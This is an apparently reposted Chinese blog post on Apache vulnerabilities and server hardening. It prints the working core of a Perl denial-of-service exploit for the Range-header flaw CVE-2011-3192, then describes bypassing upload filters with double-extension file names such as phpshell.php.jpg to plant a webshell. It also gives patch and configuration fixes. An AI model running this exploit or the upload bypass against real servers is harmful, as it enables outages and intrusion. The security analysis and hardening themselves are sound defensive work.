Apache漏洞利用与安全加固实例分析

[ 2020-06-01 16:57:04 | 作者: admin ]
字号: | |
来源:http://secsky.sinaapp.com/89.html

摘要
Apache HTTP Server(以下简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,是最流行的Web服务器软件之一。虽然近年来Nginx和Lighttpd等Web Server的市场份额增长得很快,但Apache仍然是这个领域中独一无二的巨头,互联网上大多数的Web应用依然运行在Apache上。
Apache 作为Web应用的载体,一旦出现安全问题,那么运行在其上的Web应用的安全也无法得到保障,所以研究Apache的漏洞与安全性就非常有意义了。下面我们就结合实例来谈谈针对Apache的漏洞利用和安全加固措施。
1. Apache漏洞分析
1.1 Apache HTTP Server畸形Range选项处理远程拒绝服务漏洞
CVE漏洞编号:CVE-2011-3192
影响版本:Apache 2.x、Apache 1.3
漏洞描述:Apache HTTP Server在处理Range选项生成回应时存在漏洞,远程攻击者可能利用此漏洞通过发送恶意请求导致服务器失去响应,导致拒绝服务。
此漏洞源于Apache HTTP Server在处理Range头选项中包含的大量重叠范围指定命令时存在的问题,攻击者可通过发送到服务器的特制HTTTP请求耗尽系统资源,导致Apache失去响应,甚至造成操作系统资源耗尽。

漏洞利用原理:HTTP请求中的Range选项定义了资源文件的分片请求方式,一般常用于网络的断点续传功能。攻击者通过在HTTP请求的Range选项中设置大量重叠的范围指定命令,Apache在处理这样的请求时需要消耗大量的CPU和内存资源,导致Apache失去响应,甚至造成操作系统资源耗尽。这样攻击者可以利用较小的代价实现对目标服务器的拒绝服务攻击,利用简单,且影响范围巨大。
漏洞分析:我们先来看下攻击者构造的恶意数据包,如下图:
attachments/202006/01_165811_1.jpg


从上图我们可以看到攻击者在HTTP请求的Range处设置了大量重叠的范围,下面我们来看漏洞利用代码的核心部分:

/*建立进程*/

$pm = new Parallel::ForkManager($numforks);

$|=1;

srand(time());

/*默认设置分片数值为1300*/

$p = "";

for ($k=0;$k<1300;$k++) {

$p .= ",5-$k";

}

/*按用户输入的攻击次数循环执行攻击*/

for ($k=0;$k<$numforks;$k++) {

my $pid = $pm->start and next;

/*构造攻击数据包*/

my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],

                    PeerPort => "80",

Proto => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";

print $sock $p;

while(<$sock>) {

}

$pm->finish;

}

$pm->wait_all_children;

print ":pPpPpppPpPPppPpppPp\n";

}

OK,在了解了该漏洞的利用原理后,我们通过一个实例来检验下攻击效果。先来看目标服务器在未受到攻击前的资源占用情况,如下图:
attachments/202006/01_165839_2.jpg


现在我们来对目标服务器发起攻击,从图3可以看到CPU和内存占用率飙升。
attachments/202006/01_165848_3.jpg


图3

漏洞修复:将Apache版本升级到2.2.20或以上版本。

1.2 Apache文件解析特性

Apache对于文件名的解析是从后往前解析的,直到遇见一个它认识的文件类型为止。因此,如果web目录下存在以类似webshell.php.test这样格式命名的文件,Apache在解析时因为不认识.test这个文件类型,所以会一直往前解析,当解析到.php时,它认识了,因此会将它解析为PHP文件。

Apache的这种解析特性经常被用来绕过Web应用的文件上传检测。当Web应用的文件上传功能在检测上传文件的合法性时,如果仅通过检测上传文件的扩展名来判断文件是否合法,就可以利用Apache的这种文件名解析特征绕过Web应用的检测。下面来看一个实例:

目标网站后台存在一个上传图片的功能,只允许上传JPG和GIF图片格式的文件。但程序在验证上传文件合法性处存在漏洞,只是简单的通过上传文件扩展名来确定文件是否合法。这时我们就可以利用Apache的文件名解析特征来绕过这种检测。

将文件名修改为类似phpshell.php.jpg这样的格式上传,发现绕过了检测,文件被成功上传到目标网站。
attachments/202006/01_165922_4.jpg


可以在httpd.conf配置文件中添加以下内容来阻止Apache解析这种文件。

<Files ~ "\.(php.)">

Order Allow,Deny

Deny from all

</Files>

修改后需要重启Apache服务生效。

这样即使攻击者上传了类似phpshell.php.jpg这样格式的文件,Apache也不会将它解析为PHP文件了。
attachments/202006/01_165939_5.jpg


图5

2. 安全加固

Apache的安全加固我们主要从以下两点考虑:一是Apache Web Server本身是否安全,比如是否存在安全漏洞;二是Apache Web Server是否提供了可使用的安全功能,这部分主要是检查Apache的配置是否得当,在安全性、可用性、稳定性之间取得平衡。

2.1 Apache版本的选择与安装注意事项

检查目前使用的Apache版本是否存在安全漏洞,如果存在,需要升级到新的安全版本。在选择Apache的版本时,我们一般选择最新的稳定版本。这样可以在安全性和稳定性之间取得一个很好的平衡。如果从低版本升级到高版本时,建议先在测试环境中测试通过后再进行升级,以避免由于兼容性带来的问题。

在安装时使用自定义的安装路径,并配置使用自定义的WEB目录。

2.2 Apache安全配置

2.2.1 Apache降权

这个工作只针对运行在Windows平台上的Apache,因为在Windows环境下,Apache默认以System权限运行,这样的后果是一旦成功入侵WEB应用,将直接得到一个高权限的Webshell。
[最后修改由 admin, 于 2020-06-06 09:07:56]
评论Feed 评论Feed: http://blog.xg98.com/feed.asp?q=comment&id=2676

这篇日志没有评论。

此日志不可发表评论。